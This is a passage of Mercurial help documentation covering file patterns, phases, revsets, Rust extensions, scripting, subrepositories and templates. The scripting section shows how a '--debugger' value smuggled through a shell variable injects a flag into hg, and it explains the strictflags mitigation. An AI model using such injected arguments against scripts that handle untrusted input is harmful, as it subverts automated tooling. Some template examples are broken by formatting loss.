                              "some/path/to/a/file", relative to the root
                              of the repository
rootfilesin:foo/bar           the files in a directory called foo/bar, but
                              not any files in its subdirectories and not
                              a file bar in directory foo

Glob examples:

glob:*.c       any name ending in ".c" in the current directory
*.c            any name ending in ".c" in the current directory
**.c           any name ending in ".c" in any subdirectory of the
               current directory including itself.
foo/*          any file in directory foo
foo/**         any file in directory foo plus all its subdirectories,
               recursively
foo/*.c        any name ending in ".c" in the directory foo
foo/**.c       any name ending in ".c" in any subdirectory of foo
               including itself.
rootglob:*.c   any name ending in ".c" in the root of the repository

Regexp examples:

re:.*\.c$      any name ending in ".c", anywhere in the repository

File examples:

listfile:list.txt  read list from list.txt with one file pattern per line
listfile0:list.txt read list from list.txt with null byte delimiters

See also hg help filesets.

Include examples:

include:path/to/mypatternfile    reads patterns to be applied to all paths
subinclude:path/to/subignorefile reads patterns specifically for paths in the
                                 subdirectory

WORKING WITH PHASES

What are phases?

Phases are a system for tracking which changesets have been or should be shared. This helps prevent common mistakes when modifying history (for instance, with the mq or rebase extensions).

Each changeset in a repository is in one of the following phases:

  • public : changeset is visible on a public server

  • draft : changeset is not yet published

  • secret : changeset should not be pushed, pulled, or cloned

These phases are ordered (public < draft < secret) and no changeset can be in a lower phase than its ancestors. For instance, if a changeset is public, all its ancestors are also public. Lastly, changeset phases should only be changed towards the public phase.

How are phases managed?

For the most part, phases should work transparently. By default, a changeset is created in the draft phase and is moved into the public phase when it is pushed to another repository.

Once changesets become public, extensions like mq and rebase will refuse to operate on them to prevent creating duplicate changesets. Phases can also be manually manipulated with the hg phase command if needed. See hg help -v phase for examples.

To make your commits secret by default, put this in your configuration file:

[phases]
new-commit = secret

Phases and servers

Normally, all servers are publishing by default. This means:

- all draft changesets that are pulled or cloned appear in phase
public on the client

- all draft changesets that are pushed appear as public on both
client and server

- secret changesets are neither pushed, pulled, or cloned

Note
Pulling a draft changeset from a publishing server does not mark it as public on the server side due to the read-only nature of pull.

Sometimes it may be desirable to push and pull changesets in the draft phase to share unfinished work. This can be done by setting a repository to disable publishing in its configuration file:

[phases]
publish = False

See hg help config for more information on configuration files.

Note
Servers running older versions of Mercurial are treated as publishing.

Note
Changesets in secret phase are not exchanged with the server. This applies to their content: file names, file contents, and changeset metadata. For technical reasons, the identifier (e.g. d825e4025e39) of the secret changeset may be communicated to the server.

Examples

  • list changesets in draft or secret phase:
hg log -r "not public()"
  • change all secret changesets to draft:
hg phase --draft "secret()"
  • forcibly move the current changeset and descendants from public to draft:
hg phase --force --draft .
  • show a list of changeset revisions and each corresponding phase:
hg log --template "{rev} {phase}

"

  • resynchronize draft changesets relative to a remote repository:
hg phase -fd "outgoing(URL)"

See hg help phase for more information on manually manipulating phases.

SPECIFYING REVISIONS

Mercurial supports several ways to specify revisions.

Specifying single revisions

A plain integer is treated as a revision number. Negative integers are treated as sequential offsets from the tip, with -1 denoting the tip, -2 denoting the revision prior to the tip, and so forth.

A 40-digit hexadecimal string is treated as a unique revision identifier. A hexadecimal string less than 40 characters long is treated as a unique revision identifier and is referred to as a short-form identifier. A short-form identifier is only valid if it is the prefix of exactly one full-length identifier.

Any other string is treated as a bookmark, tag, or branch name. A bookmark is a movable pointer to a revision. A tag is a permanent name associated with a revision. A branch name denotes the tipmost open branch head of that branch - or if they are all closed, the tipmost closed head of the branch. Bookmark, tag, and branch names must not contain the “:” character.

The reserved name “tip” always identifies the most recent revision.

The reserved name “null” indicates the null revision. This is the revision of an empty repository, and the parent of revision 0.

The reserved name “.” indicates the working directory parent. If no working directory is checked out, it is equivalent to null. If an uncommitted merge is in progress, “.” is the revision of the first parent.

Finally, commands that expect a single revision (like hg update) also accept revsets (see below for details). When given a revset, they use the last revision of the revset. A few commands accept two single revisions (like hg diff). When given a revset, they use the first and the last revisions of the revset.

Specifying multiple revisions

Mercurial supports a functional language for selecting a set of revisions. Expressions in this language are called revsets.

The language supports a number of predicates which are joined by infix operators. Parenthesis can be used for grouping.

Identifiers such as branch names may need quoting with single or double quotes if they contain characters like - or if they match one of the predefined predicates.

Special characters can be used in quoted identifiers by escaping them, e.g., ** ** is interpreted as a newline. To prevent them from being interpreted, strings can be prefixed with r, e.g. r’…’.

Operators

There is a single prefix operator:

not x
Changesets not in x. Short form is ! x.

These are the supported infix operators:

x::y
A DAG range, meaning all changesets that are descendants of x and ancestors of y, including x and y themselves. If the first endpoint is left out, this is equivalent to ancestors(y), if the second is left out it is equivalent to descendants(x).

An alternative syntax is x..y.

x:y
All changesets with revision numbers between x and y, both inclusive. Either endpoint can be left out, they default to 0 and tip.

x and y
The intersection of changesets in x and y. Short form is x & y.

x or y
The union of changesets in x and y. There are two alternative short forms: x | y and x + y.

x - y
Changesets in x but not in y.

x % y
Changesets that are ancestors of x but not ancestors of y (i.e. ::x - ::y). This is shorthand notation for only(x, y) (see below). The second argument is optional and, if left out, is equivalent to only(x).

x^n
The nth parent of x, n == 0, 1, or 2. For n == 0, x; for n == 1, the first parent of each changeset in x; for n == 2, the second parent of changeset in x.

x~n
The nth first ancestor of x; x~0 is x; x~3 is x^^^. For n < 0, the nth unambiguous descendent of x.

x ## y
Concatenate strings and identifiers into one string.

All other prefix, infix and postfix operators have lower priority than ##. For example, a1 ## a2~2 is equivalent to (a1 ## a2)~2.

For example:

[revsetalias]
issue(a1) = grep(r'issue[ :]?' ## a1 ## r'|bug\(' ## a1 ## r'\)')

issue(1234) is equivalent to grep(r’issue[ :]?1234|bug\1234') in this case. This matches against all of “issue 1234”, “issue:1234”, “issue1234” and “bug(1234)”.

There is a single postfix operator:

x^
Equivalent to x^1, the first parent of each changeset in x.

Patterns

Where noted, predicates that perform string matching can accept a pattern string. The pattern may be either a literal, or a regular expression. If the pattern starts with re:, the remainder of the pattern is treated as a regular expression. Otherwise, it is treated as a literal. To match a pattern that actually starts with re:, use the prefix literal:.

Matching is case-sensitive, unless otherwise noted. To perform a case- insensitive match on a case-sensitive predicate, use a regular expression, prefixed with (?i).

For example, tag(r’re:(?i)release’) matches “release” or “RELEASE” or “Release”, etc.

Predicates

The following predicates are supported:

adds(pattern)
Changesets that add a file matching pattern.

The pattern without explicit kind like glob: is expected to be relative to the current directory and match against a file or a directory.

all()
All changesets, the same as 0:tip.

ancestor(*changeset)
A greatest common ancestor of the changesets.

Accepts 0 or more changesets. Will return empty list when passed no args. Greatest common ancestor of a single changeset is that changeset.

ancestors(set[, depth])
Changesets that are ancestors of changesets in set, including the given changesets themselves.

If depth is specified, the result only includes changesets up to the specified generation.

author(string)
Alias for user(string).

bisect(string)
Changesets marked in the specified bisect status:

  • good, bad, skip: csets explicitly marked as good/bad/skip

  • goods, bads : csets topologically good/bad

  • range : csets taking part in the bisection

  • pruned : csets that are goods, bads or skipped

  • untested : csets whose fate is yet unknown

  • ignored : csets ignored due to DAG topology

  • current : the cset currently being bisected

bookmark([name])
The named bookmark or all bookmarks.

Pattern matching is supported for name. See hg help revisions.patterns.

branch(string or set)
All changesets belonging to the given branch or the branches of the given changesets.

Pattern matching is supported for string. See hg help revisions.patterns.

branchpoint()
Changesets with more than one child.

bundle()
Changesets in the bundle.

Bundle must be specified by the -R option.

children(set)
Child changesets of changesets in set.

closed()
Changeset is closed.

commonancestors(set)
Changesets that are ancestors of every changeset in set.

conflictlocal()
The local side of the merge, if currently in an unresolved merge.

“merge” here includes merge conflicts from e.g. ‘hg rebase’ or ‘hg graft’.

conflictother()
The other side of the merge, if currently in an unresolved merge.

“merge” here includes merge conflicts from e.g. ‘hg rebase’ or ‘hg graft’.

contains(pattern)
The revision’s manifest contains a file matching pattern (but might not modify it). See hg help patterns for information about file patterns.

The pattern without explicit kind like glob: is expected to be relative to the current directory and match against a file exactly for efficiency.

converted([id])
Changesets converted from the given identifier in the old repository if present, or all converted changesets if no identifier is specified.

date(interval)
Changesets within the interval, see hg help dates.

desc(string)
Search commit message for string. The match is case-insensitive.

Pattern matching is supported for string. See hg help revisions.patterns.

descendants(set[, depth])
Changesets which are descendants of changesets in set, including the given changesets themselves.

If depth is specified, the result only includes changesets up to the specified generation.

destination([set])
Changesets that were created by a graft, transplant or rebase operation, with the given revisions specified as the source. Omitting the optional set is the same as passing all().

diffcontains(pattern)
Search revision differences for when the pattern was added or removed.

The pattern may be a substring literal or a regular expression. See hg help revisions.patterns.

draft()
Changeset in draft phase.

expectsize(set[, size])
Return the given revset if size matches the revset size. Abort if the revset doesn’t expect given size. size can either be an integer range or an integer.

For example, expectsize(0:1, 3:5) will abort as revset size is 2 and 2 is not between 3 and 5 inclusive.

extra(label, [value])
Changesets with the given label in the extra metadata, with the given optional value.

Pattern matching is supported for value. See hg help revisions.patterns.

file(pattern)
Changesets affecting files matched by pattern.

For a faster but less accurate result, consider using filelog() instead.

This predicate uses glob: as the default kind of pattern.

filelog(pattern)
Changesets connected to the specified filelog.

For performance reasons, visits only revisions mentioned in the file-level filelog, rather than filtering through all changesets (much faster, but doesn’t include deletes or duplicate changes). For a slower, more accurate result, use file().

The pattern without explicit kind like glob: is expected to be relative to the current directory and match against a file exactly for efficiency.

first(set, [n])
An alias for limit().

follow([file[, startrev]])
An alias for ::. (ancestors of the working directory’s first parent). If file pattern is specified, the histories of files matching given pattern in the revision given by startrev are followed, including copies.

followlines(file, fromline:toline[, startrev=., descend=False])
Changesets modifying file in line range (‘fromline’, ’toline’).

Line range corresponds to ‘file’ content at ‘startrev’ and should hence be consistent with file size. If startrev is not specified, working directory’s parent is used.

By default, ancestors of ‘startrev’ are returned. If ‘descend’ is True, descendants of ‘startrev’ are returned though renames are (currently) not followed in this direction.

grep(regex)
Like keyword(string) but accepts a regex. Use grep(r’…’) to ensure special escape characters are handled correctly. Unlike keyword(string), the match is case-sensitive.

head()
Changeset is a named branch head.

heads(set)
Members of set with no children in set.

hidden()
Hidden changesets.

id(string)
Revision non-ambiguously specified by the given hex string prefix.

keyword(string)
Search commit message, user name, and names of changed files for string. The match is case-insensitive.

For a regular expression or case sensitive search of these fields, use grep(regex).

last(set, [n])
Last n members of set, defaulting to 1.

limit(set[, n[, offset]])
First n members of set, defaulting to 1, starting from offset.

matching(revision [, field])
Changesets in which a given set of fields match the set of fields in the selected revision or set.

To match more than one field pass the list of fields to match separated by spaces (e.g. author description).

Valid fields are most regular revision fields and some special fields.

Regular revision fields are description, author, branch, date, files, phase, parents, substate, user and diff. Note that author and user are synonyms. diff refers to the contents of the revision. Two revisions matching their diff will also match their files.

Special fields are summary and metadata: summary matches the first line of the description. metadata is equivalent to matching description user date (i.e. it matches the main metadata fields).

metadata is the default field which is used when no fields are specified. You can match more than one field at a time.

max(set)
Changeset with highest revision number in set.

merge()
Changeset is a merge changeset.

min(set)
Changeset with lowest revision number in set.

modifies(pattern)
Changesets modifying files matched by pattern.

The pattern without explicit kind like glob: is expected to be relative to the current directory and match against a file or a directory.

named(namespace)
The changesets in a given namespace.

Pattern matching is supported for namespace. See hg help revisions.patterns.

nodefromfile(path)
Read a list of nodes from the file at path.

This applies id(LINE) to each line of the file.

This is useful when the amount of nodes you need to specify gets too large for the command line.

none()
No changesets.

only(set, [set])
Changesets that are ancestors of the first set that are not ancestors of any other head in the repo. If a second set is specified, the result is ancestors of the first set that are not ancestors of the second set (i.e. ::<set1> - ::<set2>).

origin([set])
Changesets that were specified as a source for the grafts, transplants or rebases that created the given revisions. Omitting the optional set is the same as passing all(). If a changeset created by these operations is itself specified as a source for one of these operations, only the source changeset for the first operation is selected.

outgoing([path])
Changesets not found in the specified destination repository, or the default push location.

If the location resolve to multiple repositories, the union of all outgoing changeset will be used.

p1([set])
First parent of changesets in set, or the working directory.

p2([set])
Second parent of changesets in set, or the working directory.

parents([set])
The set of all parents for all changesets in set, or the working directory.

present(set)
An empty set, if any revision in set isn’t found; otherwise, all revisions in set.

If any of specified revisions is not present in the local repository, the query is normally aborted. But this predicate allows the query to continue even in such cases.

public()
Changeset in public phase.

remote([id [,path]])
Local revision that corresponds to the given identifier in a remote repository, if present. Here, the ‘.’ identifier is a synonym for the current local branch.

removes(pattern)
Changesets which remove files matching pattern.

The pattern without explicit kind like glob: is expected to be relative to the current directory and match against a file or a directory.

rev(number)
Revision with the given numeric identifier.

reverse(set)
Reverse order of set.

revset(set)
Strictly interpret the content as a revset.

The content of this special predicate will be strictly interpreted as a revset. For example, revset(id(0)) will be interpreted as “id(0)” without possible ambiguity with a “id(0)” bookmark or tag.

roots(set)
Changesets in set with no parent changeset in set.

secret()
Changeset in secret phase.

sort(set[, [-]key… [, …]])
Sort set by keys. The default sort order is ascending, specify a key as -key to sort in descending order.

The keys can be:

  • rev for the revision number,

  • branch for the branch name,

  • desc for the commit message (description),

  • user for user name (author can be used as an alias),

  • date for the commit date

  • topo for a reverse topographical sort

  • node the nodeid of the revision

  • random randomly shuffle revisions

The topo sort order cannot be combined with other sort keys. This sort takes one optional argument, topo.firstbranch, which takes a revset that specifies what topographical branches to prioritize in the sort.

The random sort takes one optional random.seed argument to control the pseudo-randomness of the result.

subrepo([pattern])
Changesets that add, modify or remove the given subrepo. If no subrepo pattern is named, any subrepo changes are returned.

tag([name])
The specified tag by name, or all tagged revisions if no name is given.

Pattern matching is supported for name. See hg help revisions.patterns.

user(string)
User name contains string. The match is case-insensitive.

Pattern matching is supported for string. See hg help revisions.patterns.

Aliases

New predicates (known as “aliases”) can be defined, using any combination of existing predicates or other aliases. An alias definition looks like:

<alias> = <definition>

in the revsetalias section of a Mercurial configuration file. Arguments of the form a1, a2, etc. are substituted from the alias into the definition.

For example,

[revsetalias]
h = heads()
d(s) = sort(s, date)
rs(s, k) = reverse(sort(s, k))

defines three aliases, h, d, and rs. rs(0:tip, author) is exactly equivalent to reverse(sort(0:tip, author)).

Equivalents

Command line equivalents for hg log:

-f    ->  ::.
-d x  ->  date(x)
-k x  ->  keyword(x)
-m    ->  merge()
-u x  ->  user(x)
-b x  ->  branch(x)
-P x  ->  !::x
-l x  ->  limit(expr, x)

Examples

Some sample queries:

  • Changesets on the default branch:
hg log -r "branch(default)"
  • Changesets on the default branch since tag 1.5 (excluding merges):
hg log -r "branch(default) and 1.5:: and not merge()"
  • Open branch heads:
hg log -r "head() and not closed()"
  • Changesets between tags 1.3 and 1.5 mentioning “bug” that affect hgext/*:
hg log -r "1.3::1.5 and keyword(bug) and file('hgext/*')"
  • Changesets committed in May 2008, sorted by user:
hg log -r "sort(date('May 2008'), user)"
  • Changesets mentioning “bug” or “issue” that are not in a tagged release:
hg log -r "(keyword(bug) or keyword(issue)) and not ancestors(tag())"
  • Update to the commit that bookmark @ is pointing to, without activating the bookmark (this works because the last revision of the revset is used):
hg update :@
  • Show diff between tags 1.3 and 1.5 (this works because the first and the last revisions of the revset are used):
hg diff -r 1.3::1.5

RUST IN MERCURIAL

Mercurial can be augmented with Rust extensions for speeding up certain operations.

Compatibility

Though the Rust extensions are only tested by the project under Linux, users of MacOS, FreeBSD and other UNIX-likes have been using the Rust extensions. Your mileage may vary, but by all means do give us feedback or signal your interest for better support.

No Rust extensions are available for Windows at this time.

Features

The following operations are sped up when using Rust:

  • discovery of differences between repositories (pull/push)

  • nodemap (see hg help config.format.use-persistent-nodemap)

  • all commands using the dirstate (status, commit, diff, add, update, etc.)

  • dirstate-v2 (see hg help config.format.use-dirstate-v2)

  • iteration over ancestors in a graph

More features are in the works, and improvements on the above listed are still in progress. For more experimental work see the “rhg” section.

Checking for Rust

You may already have the Rust extensions depending on how you install Mercurial:

$ hg debuginstall | grep -i rust
checking Rust extensions (installed)
checking module policy (rust+c-allow)

If those lines don’t even exist, you’re using an old version of hg which does not have any Rust extensions yet.

Installing

You will need cargo to be in your $PATH. See the “MSRV” section for which version to use.

Using pip

Users of pip can install the Rust extensions with the following command:

$ pip install mercurial --global-option --rust --no-use-pep517

–no-use-pep517 is here to tell pip to preserve backwards compatibility with the legacy setup.py system. Mercurial has not yet migrated its complex setup to the new system, so we still need this to add compiled extensions.

This might take a couple of minutes because you’re compiling everything.

See the “Checking for Rust” section to see if the install succeeded.

From your distribution

Some distributions are shipping Mercurial with Rust extensions enabled and pre-compiled (meaning you won’t have to install cargo), or allow you to specify an install flag. Check with your specific distribution for how to do that, or ask their team to add support for hg+Rust!

From source

Please refer to the rust/README.rst file in the Mercurial repository for instructions on how to install from source.

MSRV

The minimum supported Rust version is defined in rust/clippy.toml. The project’s policy is to keep it at or below the version from Debian testing, to make the distributions’ job easier.

rhg

There exists an experimental pure-Rust version of Mercurial called rhg with a fallback mechanism for unsupported invocations. It allows for much faster execution of certain commands while adding no discernable overhead for the rest.

The only way of trying it out is by building it from source. Please refer to rust/README.rst in the Mercurial repository.

See hg help config.rhg for configuration options.

Contributing

If you would like to help the Rust endeavor, please refer to rust/README.rst in the Mercurial repository.

USING MERCURIAL FROM SCRIPTS AND AUTOMATION

It is common for machines (as opposed to humans) to consume Mercurial. This help topic describes some of the considerations for interfacing machines with Mercurial.

Choosing an Interface

Machines have a choice of several methods to interface with Mercurial. These include:

  • Executing the hg process

  • Querying a HTTP server

  • Calling out to a command server

Executing hg processes is very similar to how humans interact with Mercurial in the shell. It should already be familiar to you.

hg serve can be used to start a server. By default, this will start a “hgweb” HTTP server. This HTTP server has support for machine-readable output, such as JSON. For more, see hg help hgweb.

hg serve can also start a “command server.” Clients can connect to this server and issue Mercurial commands over a special protocol. For more details on the command server, including links to client libraries, see https://www.mercurial-scm.org/wiki/CommandServer.

hg serve based interfaces (the hgweb and command servers) have the advantage over simple hg process invocations in that they are likely more efficient. This is because there is significant overhead to spawn new Python processes.

Tip
If you need to invoke several hg processes in short order and/or performance is important to you, use of a server-based interface is highly recommended.

Environment Variables

As documented in hg help environment, various environment variables influence the operation of Mercurial. The following are particularly relevant for machines consuming Mercurial:

HGPLAIN
If not set, Mercurial’s output could be influenced by configuration settings that impact its encoding, verbose mode, localization, etc.

It is highly recommended for machines to set this variable when invoking hg processes.

HGENCODING
If not set, the locale used by Mercurial will be detected from the environment. If the determined locale does not support display of certain characters, Mercurial may render these character sequences incorrectly (often by using “?” as a placeholder for invalid characters in the current locale).

Explicitly setting this environment variable is a good practice to guarantee consistent results. “utf-8” is a good choice on UNIX-like environments.

HGRCPATH
If not set, Mercurial will inherit config options from config files using the process described in hg help config. This includes inheriting user or system-wide config files.

When utmost control over the Mercurial configuration is desired, the value of HGRCPATH can be set to an explicit file with known good configs. In rare cases, the value can be set to an empty file or the null device (often /dev/null) to bypass loading of any user or system config files. Note that these approaches can have unintended consequences, as the user and system config files often define things like the username and extensions that may be required to interface with a repository.

HGRCSKIPREPO
When set, the .hg/hgrc from repositories are not read.

Note that not reading the repository’s configuration can have unintended consequences, as the repository config files can define things like extensions that are required for access to the repository.

Command-line Flags

Mercurial’s default command-line parser is designed for humans, and is not robust against malicious input. For instance, you can start a debugger by passing –debugger as an option value:

$ REV=--debugger sh -c 'hg log -r "$REV"'

This happens because several command-line flags need to be scanned without using a concrete command table, which may be modified while loading repository settings and extensions.

Since Mercurial 4.4.2, the parsing of such flags may be restricted by setting HGPLAIN=+strictflags. When this feature is enabled, all early options (e.g. -R/–repository, –cwd, –config) must be specified first amongst the other global options, and cannot be injected to an arbitrary location:

$ HGPLAIN=+strictflags hg -R "$REPO" log -r "$REV"

In earlier Mercurial versions where +strictflags isn’t available, you can mitigate the issue by concatenating an option value with its flag:

$ hg log -r"$REV" --keyword="$KEYWORD"

Consuming Command Output

It is common for machines to need to parse the output of Mercurial commands for relevant data. This section describes the various techniques for doing so.

Parsing Raw Command Output

Likely the simplest and most effective solution for consuming command output is to simply invoke hg commands as you would as a user and parse their output.

The output of many commands can easily be parsed with tools like grep, sed, and awk.

A potential downside with parsing command output is that the output of commands can change when Mercurial is upgraded. While Mercurial does generally strive for strong backwards compatibility, command output does occasionally change. Having tests for your automated interactions with hg commands is generally recommended, but is even more important when raw command output parsing is involved.

Using Templates to Control Output

Many hg commands support templatized output via the -T/–template argument. For more, see hg help templates.

Templates are useful for explicitly controlling output so that you get exactly the data you want formatted how you want it. For example, **log -T {node} ** can be used to print a newline delimited list of changeset nodes instead of a human-tailored output containing authors, dates, descriptions, etc.

Tip
If parsing raw command output is too complicated, consider using templates to make your life easier.

The -T/–template argument allows specifying pre-defined styles. Mercurial ships with the machine-readable styles cbor, json, and xml, which provide CBOR, JSON, and XML output, respectively. These are useful for producing output that is machine readable as-is.

(Mercurial 5.0 is required for CBOR style.)

Important
The json and xml styles are considered experimental. While they may be attractive to use for easily obtaining machine-readable output, their behavior may change in subsequent versions.

These styles may also exhibit unexpected results when dealing with certain encodings. Mercurial treats things like filenames as a series of bytes and normalizing certain byte sequences to JSON or XML with certain encoding settings can lead to surprises.

Command Server Output

If using the command server to interact with Mercurial, you are likely using an existing library/API that abstracts implementation details of the command server. If so, this interface layer may perform parsing for you, saving you the work of implementing it yourself.

Output Verbosity

Commands often have varying output verbosity, even when machine readable styles are being used (e.g. -T json). Adding -v/–verbose and –debug to the command’s arguments can increase the amount of data exposed by Mercurial.

An alternate way to get the data you need is by explicitly specifying a template.

Other Topics

revsets
Revisions sets is a functional query language for selecting a set of revisions. Think of it as SQL for Mercurial repositories. Revsets are useful for querying repositories for specific data.

See hg help revsets for more.

share extension
The share extension provides functionality for sharing repository data across several working copies. It can even automatically “pool” storage for logically related repositories when cloning.

Configuring the share extension can lead to significant resource utilization reduction, particularly around disk space and the network. This is especially true for continuous integration (CI) environments.

See hg help -e share for more.

SUBREPOSITORIES

Subrepositories let you nest external repositories or projects into a parent Mercurial repository, and make commands operate on them as a group.

Mercurial currently supports Mercurial, Git, and Subversion subrepositories.

Subrepositories are made of three components:

  1. Nested repository checkouts. They can appear anywhere in the parent working directory.

  2. Nested repository references. They are defined in .hgsub, which should be placed in the root of working directory, and tell where the subrepository checkouts come from. Mercurial subrepositories are referenced like:

path/to/nested = https://example.com/nested/repo/path

Git and Subversion subrepos are also supported:

path/to/nested = [git]git://example.com/nested/repo/path
path/to/nested = [svn]https://example.com/nested/trunk/path

where path/to/nested is the checkout location relatively to the parent Mercurial root, and https://example.com/nested/repo/path is the source repository path. The source can also reference a filesystem path.

Note that .hgsub does not exist by default in Mercurial repositories, you have to create and add it to the parent repository before using subrepositories.

  1. Nested repository states. They are defined in .hgsubstate, which is placed in the root of working directory, and capture whatever information is required to restore the subrepositories to the state they were committed in a parent repository changeset. Mercurial automatically record the nested repositories states when committing in the parent repository.

Note
The .hgsubstate file should not be edited manually.

Adding a Subrepository

If .hgsub does not exist, create it and add it to the parent repository. Clone or checkout the external projects where you want it to live in the parent repository. Edit .hgsub and add the subrepository entry as described above. At this point, the subrepository is tracked and the next commit will record its state in .hgsubstate and bind it to the committed changeset.

Synchronizing a Subrepository

Subrepos do not automatically track the latest changeset of their sources. Instead, they are updated to the changeset that corresponds with the changeset checked out in the top-level changeset. This is so developers always get a consistent set of compatible code and libraries when they update.

Thus, updating subrepos is a manual process. Simply check out target subrepo at the desired revision, test in the top-level repo, then commit in the parent repository to record the new combination.

Deleting a Subrepository

To remove a subrepository from the parent repository, delete its reference from .hgsub, then remove its files.

Interaction with Mercurial Commands

add
add does not recurse in subrepos unless -S/–subrepos is specified. However, if you specify the full path of a file in a subrepo, it will be added even without -S/–subrepos specified. Subversion subrepositories are currently silently ignored.

addremove
addremove does not recurse into subrepos unless -S/–subrepos is specified. However, if you specify the full path of a directory in a subrepo, addremove will be performed on it even without -S/–subrepos being specified. Git and Subversion subrepositories will print a warning and continue.

archive
archive does not recurse in subrepositories unless -S/–subrepos is specified.

cat
Git subrepositories only support exact file matches. Subversion subrepositories are currently ignored.

commit
commit creates a consistent snapshot of the state of the entire project and its subrepositories. If any subrepositories have been modified, Mercurial will abort. Mercurial can be made to instead commit all modified subrepositories by specifying -S/–subrepos, or setting “ui.commitsubrepos=True” in a configuration file (see hg help config). After there are no longer any modified subrepositories, it records their state and finally commits it in the parent repository. The –addremove option also honors the -S/–subrepos option. However, Git and Subversion subrepositories will print a warning and abort.

diff
diff does not recurse in subrepos unless -S/–subrepos is specified. However, if you specify the full path of a file or directory in a subrepo, it will be diffed even without -S/–subrepos being specified. Subversion subrepositories are currently silently ignored.

files
files does not recurse into subrepos unless -S/–subrepos is specified. However, if you specify the full path of a file or directory in a subrepo, it will be displayed even without -S/–subrepos being specified. Git and Subversion subrepositories are currently silently ignored.

forget
forget currently only handles exact file matches in subrepos. Git and Subversion subrepositories are currently silently ignored.

incoming
incoming does not recurse in subrepos unless -S/–subrepos is specified. Git and Subversion subrepositories are currently silently ignored.

outgoing
outgoing does not recurse in subrepos unless -S/–subrepos is specified. Git and Subversion subrepositories are currently silently ignored.

pull
pull is not recursive since it is not clear what to pull prior to running hg update. Listing and retrieving all subrepositories changes referenced by the parent repository pulled changesets is expensive at best, impossible in the Subversion case.

push
Mercurial will automatically push all subrepositories first when the parent repository is being pushed. This ensures new subrepository changes are available when referenced by top-level repositories. Push is a no-op for Subversion subrepositories.

serve
serve does not recurse into subrepositories unless -S/–subrepos is specified. Git and Subversion subrepositories are currently silently ignored.

status
status does not recurse into subrepositories unless -S/–subrepos is specified. Subrepository changes are displayed as regular Mercurial changes on the subrepository elements. Subversion subrepositories are currently silently ignored.

remove
remove does not recurse into subrepositories unless -S/–subrepos is specified. However, if you specify a file or directory path in a subrepo, it will be removed even without -S/–subrepos. Git and Subversion subrepositories are currently silently ignored.

update
update restores the subrepos in the state they were originally committed in target changeset. If the recorded changeset is not available in the current subrepository, Mercurial will pull it in first before updating. This means that updating can require network access when using subrepositories.

Remapping Subrepositories Sources

A subrepository source location may change during a project life, invalidating references stored in the parent repository history. To fix this, rewriting rules can be defined in parent repository hgrc file or in Mercurial configuration. See the [subpaths] section in hgrc(5) for more details.

TEMPLATE USAGE

Mercurial allows you to customize output of commands through templates. You can either pass in a template or select an existing template-style from the command line, via the –template option.

You can customize output for any “log-like” command: log, outgoing, incoming, tip, parents, and heads.

Some built-in styles are packaged with Mercurial. These can be listed with hg log –template list. Example usage:

$ hg log -r1.0::1.1 --template changelog

A template is a piece of text, with markup to invoke variable expansion:

$ hg log -r1 --template "{node}

" b56ce7b07c52de7d5fd79fb89701ea538af65746

Keywords

Strings in curly braces are called keywords. The availability of keywords depends on the exact context of the templater. These keywords are usually available for templating a log-like command:

_fast_rank
the rank of a changeset if cached

The rank of a revision is the size of the sub-graph it defines as a head. Equivalently, the rank of a revision r is the size of the set ancestors(r), r included.

activebookmark
String. The active bookmark, if it is associated with the changeset.

author
Alias for {user}

bisect
String. The changeset bisection status.

bookmarks
List of strings. Any bookmarks associated with the changeset. Also sets ‘active’, the name of the active bookmark.

branch
String. The name of the branch on which the changeset was committed.

changessincelatesttag
Integer. All ancestors not in the latest tag.

children
List of strings. The children of the changeset.

date
Date information. The date when the changeset was committed.

desc
String. The text of the changeset description.

diffstat
String. Statistics of changes with the following format: “modified files: +added/-removed lines”

extras
List of dicts with key, value entries of the ’extras’ field of this changeset.

file_adds
List of strings. Files added by this changeset.

file_copies
List of strings. Files copied in this changeset with their sources.

file_copies_switch
List of strings. Like “file_copies” but displayed only if the –copied switch is set.

file_dels
List of strings. Files removed by this changeset.

file_mods
List of strings. Files modified by this changeset.

files
List of strings. All files modified, added, or removed by this changeset.

graphnode
String. The character representing the changeset node in an ASCII revision graph.

graphwidth
Integer. The width of the graph drawn by ’log –graph’ or zero.

index
Integer. The current iteration of the loop. (0 indexed)

latesttag
List of strings. The global tags on the most recent globally tagged ancestor of this changeset. If no such tags exist, the list consists of the single string “null”.

latesttagdistance
Integer. Longest path to the latest tag.

namespaces
Dict of lists. Names attached to this changeset per namespace.

negrev
Integer. The repository-local changeset negative revision number, which counts in the opposite direction.

node
String. The changeset identification hash, as a 40 hexadecimal digit string.

onelinesummary
String. A one-line summary for the ctx (not including trailing newline). The default template be overridden in command-templates.oneline-summary.

p1
Changeset. The changeset’s first parent. {p1.rev} for the revision number, and {p1.node} for the identification hash.

p2
Changeset. The changeset’s second parent. {p2.rev} for the revision number, and {p2.node} for the identification hash.

parents
List of strings. The parents of the changeset in “rev:node” format. If the changeset has only one “natural” parent (the predecessor revision) nothing is shown.

peerurls
A dictionary of repository locations defined in the [paths] section of your configuration file.

phase
String. The changeset phase name.

reporoot
String. The root directory of the current repository.

rev
Integer. The repository-local changeset revision number.

subrepos
List of strings. Updated subrepositories in the changeset.

tags
List of strings. Any tags associated with the changeset.

termwidth
Integer. The width of the current terminal.

user
String. The unmodified author of the changeset.

verbosity
String. The current output verbosity in ‘debug’, ‘quiet’, ‘verbose’, or ‘’.

The “date” keyword does not produce human-readable output. If you want to use a date in your output, you can use a filter to process it. Filters are functions which return a string based on the input variable. Be sure to use the stringify filter first when you’re applying a string-input filter to a list-like input variable. You can also use a chain of filters to get the desired output:

$ hg tip --template "{date|isodate}

" 2008-08-21 18:22 +0000

Filters

List of filters:

addbreaks
Any text. Add an XHTML “<br />” tag before the end of every line except the last.

age
Date. Returns a human-readable date/time difference between the given date/time and the current date/time.

basename
Any text. Treats the text as a path, and returns the last component of the path after splitting by the path separator. For example, “foo/bar/baz” becomes “baz” and “foo/bar//” becomes “”.

cbor
Any object. Serializes the object to CBOR bytes.

commondir
List of text. Treats each list item as file name with / as path separator and returns the longest common directory prefix shared by all list items. Returns the empty string if no common prefix exists.

The list items are not normalized, i.e. “foo/../bar” is handled as file “bar” in the directory “foo/..”. Leading slashes are ignored.

For example, [“foo/bar/baz”, “foo/baz/bar”] becomes “foo” and [“foo/bar”, “baz”] becomes “”.

count
List or text. Returns the length as an integer.

dirname
Any text. Treats the text as a path, and strips the last component of the path after splitting by the path separator.

domain
Any text. Finds the first string that looks like an email address, and extracts just the domain component. Example: User <[email protected]> becomes example.com.

email
Any text. Extracts the first string that looks like an email address. Example: User <[email protected]> becomes [email protected].

emailuser
